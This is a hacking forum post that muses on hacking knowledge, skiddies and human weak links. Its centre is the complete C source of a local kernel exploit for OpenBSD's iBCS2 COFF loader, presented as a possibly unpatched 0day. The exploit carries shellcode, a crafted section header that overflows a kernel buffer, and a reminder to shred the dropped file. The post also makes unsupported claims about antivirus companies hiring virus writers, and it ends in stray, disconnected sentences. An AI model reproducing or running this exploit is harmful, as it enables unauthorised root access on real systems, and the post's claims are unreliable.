well,
I agree the info accessible nowadays is too much,and enough for anyone to create chaos, but from my personal exprience, the real meat is still not accessible easily,
with the info available, ok you can attack the weaker targets, or servers monitored by lazy admins, but if you want to seriously harm someone, its not that easy.
After a level, there comes a stage where information is not so obvious, you have to find hints and clues, about how to do stuff, they dont have books like, begginers hacking, intermediate... advanced hacking, begginers hacking are just case studies, ok once a dude found that unsanitized input can be used to do things which are not desirable, the whole world follows it, it becomes a hacking way, a technique! There we go, sql injection tutorials and stuff, they just teach you how to do what to do, now its so easily available it has a positive site too, the sincere sysadmins will be up to date, they will protect themselves from the these known attacks,
well leave knowledge, these antivirus companies, they hire their own virus writers too, if there has to be a hero, there has to be villains, how many virus writers have you heard of, why is it so that sometimes only one company has a patch for a product and it takes a while for others to catch up,
similarly a lot of security products and people will lose their jobs if there arent skiddies, thanks to them, i got a job to secure the code of a site, thanks to a lame skiddie who hacked him. It made him hire me.
I know its a problem but one can defend themselves from these attacks,
but if a sincere hacker wants access for any reason, there's no way one can stop, if a system is ridiculously secure, he will target the weakest link, which are humans, he will get in, but it depends how badly he wants it, i worked in the national informatics center, the cyber security division, that monitors all the military, government, police sites, the system is virtually unhackable(maybe not), but the employees are the weakest links, dont worry wasnt one of them.
They say we have 10 firewalls, hardware,software, and encryption protocols, i would say why do you even need to break firewall,
as for the tutorial about bypassing a firewall, let me ask, if you want to enter an restricted area, would you break the wall? or try to sneak in from door, window or vents?
Firewall would happily let traffic in, if its told to,
suppose a server is running https server, and the traffic is only allowed on port 443, i wont care about firewall, i wont care about encryption or public or private key, i just know that i get in from port 443, not what can i do to the system depends upon the server,
i dont believe that something like safe application exists, if you call it safe, it means that at the moment there are no known bugs,
how many of you elite hackers have fired up debuggers to inspect the running applications, how many of you inspect the code, use fuzzers, and actually read the complete code (in case of opensource) to find out if the programmer has made a mistake,
trust me, when a company like microsoft with highly paid programmers and very good brains can ship 65000 known bugs with a version known for its stability, why cant others leave bugs, opensource has an advantage that people always work on improving stuff, but that doesnt mean that there aint no bugs,
how do one teach hacking where you need to master,things from how programs are paged in memory, to indepth knowledge of say tcp/ip protocols, like what is a stucture of a datagram?
i'll give you the exploit for stack overflow 0day in OpenBSD, one of the safest OS till date, i dont know if it has been patched, but it was not until some time ago
Code: Select all
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/param.h>
#include <sys/sysctl.h>
#include <sys/signal.h>
/* kernel_sc.s shellcode */
unsigned char shellcode[] =
"\xe8\x0f\x00\x00\x00\x78\x56\x34\x12\xfe\xca\xad\xde\xad\xde\xef\xbe"
"\x90\x90\x90\x5f\x8b\x0f\x8b\x59\x10\x31\xc0\x89\x43\x04\x8b\x13\x89"
"\x42\x04\x8b\x51\x14\x89\x42\x0c\x8d\x6c\x24\x68\x0f\x01\x4f\x04\x8b"
"\x5f\x06\x8b\x93\x00\x04\x00\x00\x8b\x8b\x04\x04\x00\x00\xc1\xe9\x10"
"\xc1\xe1\x10\xc1\xe2\x10\xc1\xea\x10\x09\xca\x31\xc9\x41\x8a\x1c\x0a"
"\x80\xfb\xe8\x75\xf7\x8d\x1c\x0a\x41\x8b\x0c\x0a\x83\xc1\x05\x01\xd9"
"\x89\xcf\xb0\xff\xfc\xb9\xff\xff\xff\xff\xf2\xae\x8a\x1f\x80\xfb\xd0"
"\x75\xef\x47\x31\xc0\x57\xc3";
/* iret_sc.s */
unsigned char iret_shellcode[] =
"\xe8\x0f\x00\x00\x00\x78\x56\x34\x12\xfe\xca\xad\xde\xad\xde\xef\xbe"
"\x90\x90\x90\x5f\x8b\x0f\x8b\x59\x10\x31\xc0\x89\x43\x04\x8b\x13\x89"
"\x42\x04\x8b\x51\x14\x89\x42\x0c\xfa\x6a\x1f\x07\x6a\x1f\x1f\x6a\x00"
"\x5f\x6a\x00\x5e\x68\x00\xd0\xbf\xdf\x5d\x6a\x00\x5b\x6a\x00\x5a\x6a"
"\x00\x59\x6a\x00\x58\x6a\x1f\x68\x00\xd0\xbf\xdf\x68\x87\x02\x00\x00"
"\x6a\x17";
unsigned char pusheip[] =
"\x68\x00\x00\x00\x00"; /* fill eip */
unsigned char iret[] =
"\xcf";
unsigned char exitsh[] =
"\x31\xc0\xcd\x80\xcc"; /* xorl %eax,%eax, int $0x80, int3 */
#define ZERO(p) memset(&p, 0x00, sizeof(p))
/*
* COFF file header
*/
struct coff_filehdr {
u_short f_magic; /* magic number */
u_short f_nscns; /* # of sections */
long f_timdat; /* timestamp */
long f_symptr; /* file offset of symbol table */
long f_nsyms; /* # of symbol table entries */
u_short f_opthdr; /* size of optional header */
u_short f_flags; /* flags */
};
/* f_magic flags */
#define COFF_MAGIC_I386 0x14c
/* f_flags */
#define COFF_F_RELFLG 0x1
#define COFF_F_EXEC 0x2
#define COFF_F_LNNO 0x4
#define COFF_F_LSYMS 0x8
#define COFF_F_SWABD 0x40
#define COFF_F_AR16WR 0x80
#define COFF_F_AR32WR 0x100
/*
* COFF system header
*/
struct coff_aouthdr {
short a_magic;
short a_vstamp;
long a_tsize;
long a_dsize;
long a_bsize;
long a_entry;
long a_tstart;
long a_dstart;
};
/* magic */
#define COFF_ZMAGIC 0413
/*
* COFF section header
*/
struct coff_scnhdr {
char s_name[8];
long s_paddr;
long s_vaddr;
long s_size;
long s_scnptr;
long s_relptr;
long s_lnnoptr;
u_short s_nreloc;
u_short s_nlnno;
long s_flags;
};
/* s_flags */
#define COFF_STYP_TEXT 0x20
#define COFF_STYP_DATA 0x40
#define COFF_STYP_SHLIB 0x800
void get_proc(pid_t, struct kinfo_proc *);
void sig_handler();
int
main(int argc, char **argv)
{
u_int i, fd, debug = 0;
u_char *ptr, *shptr;
u_long *lptr;
u_long pprocadr, offset;
struct kinfo_proc kp;
char *args[] = { "./ibcs2own", NULL};
char *envs[] = { "RIP=theo", NULL};
//COFF structures
struct coff_filehdr fhdr;
struct coff_aouthdr ahdr;
struct coff_scnhdr scn0, scn1, scn2;
if(argv[1]) {
if(!strncmp(argv[1], "-v", 2))
debug = 1;
else {
printf("-v: verbose flag only\n");
exit(0);
}
}
ZERO(fhdr);
fhdr.f_magic = COFF_MAGIC_I386;
fhdr.f_nscns = 3; //TEXT, DATA, SHLIB
fhdr.f_timdat = 0xdeadbeef;
fhdr.f_symptr = 0x4000;
fhdr.f_nsyms = 1;
fhdr.f_opthdr = sizeof(ahdr); //AOUT opt header size
fhdr.f_flags = COFF_F_EXEC;
ZERO(ahdr);
ahdr.a_magic = COFF_ZMAGIC;
ahdr.a_tsize = 0;
ahdr.a_dsize = 0;
ahdr.a_bsize = 0;
ahdr.a_entry = 0x10000;
ahdr.a_tstart = 0;
ahdr.a_dstart = 0;
ZERO(scn0);
memcpy(&scn0.s_name, ".text", 5);
scn0.s_paddr = 0x10000;
scn0.s_vaddr = 0x10000;
scn0.s_size = 4096;
scn0.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3);
//file offset of .text segment
scn0.s_relptr = 0;
scn0.s_lnnoptr = 0;
scn0.s_nreloc = 0;
scn0.s_nlnno = 0;
scn0.s_flags = COFF_STYP_TEXT;
ZERO(scn1);
memcpy(&scn1.s_name, ".data", 5);
scn1.s_paddr = 0x10000 - 4096;
scn1.s_vaddr = 0x10000 - 4096;
scn1.s_size = 4096;
scn1.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 4096;
//file offset of .data segment
scn1.s_relptr = 0;
scn1.s_lnnoptr = 0;
scn1.s_nreloc = 0;
scn1.s_nlnno = 0;
scn1.s_flags = COFF_STYP_DATA;
ZERO(scn2);
memcpy(&scn2.s_name, ".shlib", 6);
scn2.s_paddr = 0;
scn2.s_vaddr = 0;
scn2.s_size = 0xb0; //HERE IS DA OVF!!! static_buffer = 128
scn2.s_scnptr = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 2*4096;
//file offset of .data segment
scn2.s_relptr = 0;
scn2.s_lnnoptr = 0;
scn2.s_nreloc = 0;
scn2.s_nlnno = 0;
scn2.s_flags = COFF_STYP_SHLIB;
offset = sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0)*3) + 3*4096;
ptr = (char *) malloc(offset);
if(!ptr) {
perror("malloc");
exit(-1);
}
memset(ptr, 0xcc, offset); /* fill int3 */
/* copy sections */
offset = 0;
memcpy(ptr, (char *) &fhdr, sizeof(fhdr));
offset += sizeof(fhdr);
memcpy(ptr+offset, (char *) &ahdr, sizeof(ahdr));
offset += sizeof(ahdr);
memcpy(ptr+offset, (char *) &scn0, sizeof(scn0));
offset += sizeof(scn0);
memcpy(ptr+offset, &scn1, sizeof(scn1));
offset += sizeof(scn1);
memcpy(ptr+offset, (char *) &scn2, sizeof(scn2));
offset += sizeof(scn2);
lptr = (u_long *) ((char *)ptr + sizeof(fhdr) + sizeof(ahdr) + \
(sizeof(scn0) * 3) + 4096 + 4096 + 0xb0 - 8);
shptr = (char *) malloc(4096);
if(!shptr) {
perror("malloc");
exit(-1);
}
if(debug)
printf("payload adr: 0x%.8x\t", shptr);
memset(shptr, 0xcc, 4096);
get_proc((pid_t) getppid(), &kp);
pprocadr = (u_long) kp.kp_eproc.e_paddr;
if(debug)
printf("parent proc adr: 0x%.8x\n", pprocadr);
*lptr++ = 0xdeadbeef;
*lptr = (u_long) shptr;
shellcode[5] = pprocadr & 0xff;
shellcode[6] = (pprocadr >> 8) & 0xff;
shellcode[7] = (pprocadr >> 16) & 0xff;
shellcode[8] = (pprocadr >> 24) & 0xff;
memcpy(shptr, shellcode, sizeof(shellcode)-1);
unlink("./ibcs2own");
if((fd = open("./ibcs2own", O_CREAT^O_RDWR, 0755)) < 0) {
perror("open");
exit(-1);
}
write(fd, ptr, sizeof(fhdr) + sizeof(ahdr) + (sizeof(scn0) * 3) + 4096*3);
close(fd);
free(ptr);
signal(SIGSEGV, (void (*)())sig_handler);
signal(SIGILL, (void (*)())sig_handler);
signal(SIGSYS, (void (*)())sig_handler);
signal(SIGBUS, (void (*)())sig_handler);
signal(SIGABRT, (void (*)())sig_handler);
signal(SIGTRAP, (void (*)())sig_handler);
printf("\nDO NOT FORGET TO SHRED ./ibcs2own\n");
execve(args[0], args, envs);
perror("execve");
}
void
sig_handler()
{
_exit(0);
}
void
get_proc(pid_t pid, struct kinfo_proc *kp)
{
u_int arr[4], len;
arr[0] = CTL_KERN;
arr[1] = KERN_PROC;
arr[2] = KERN_PROC_PID;
arr[3] = pid;
len = sizeof(struct kinfo_proc);
if(sysctl(arr, 4, kp, &len, NULL, 0) < 0) {
perror("sysctl");
fprintf(stderr, "this is an unexpected error, re-run!\n");
exit(-1);
}
}
now you cant complain that suck-o didnt teach you how to hack OpenBSD, guys i just did,
What all do we teach you, this is a community for us to learn and contribute, if you show us you're serious and trustworthy, we'll invite you to VIP area, how can you say suck-o didnt tell you how to bypass firewalls, i never felt the need to bypass a firewall, and if one day i do, i will know what to do and how to do, i dont know how right now,but one thing i know is that i will find a way, and we believe in teaching you how to think, than giving you canned info,
regarding too much info, i still think, it has more to do with human intellect, these tools can damage upto a certain point, the real threat begins when these skiddies get serious and do hardwork, we still have way more info out there than you guys know, but these guys dont know how to utilize it, the few who do, dont need to do it
) In that section we, the staff, feel more comfortable sharing good shit that we find or create - among those that we feel have achieved the level of responsibility. 
so I rushed through it and I believe that I did not develop my thoughts well enough. 
Still I am glad that some one liked it! 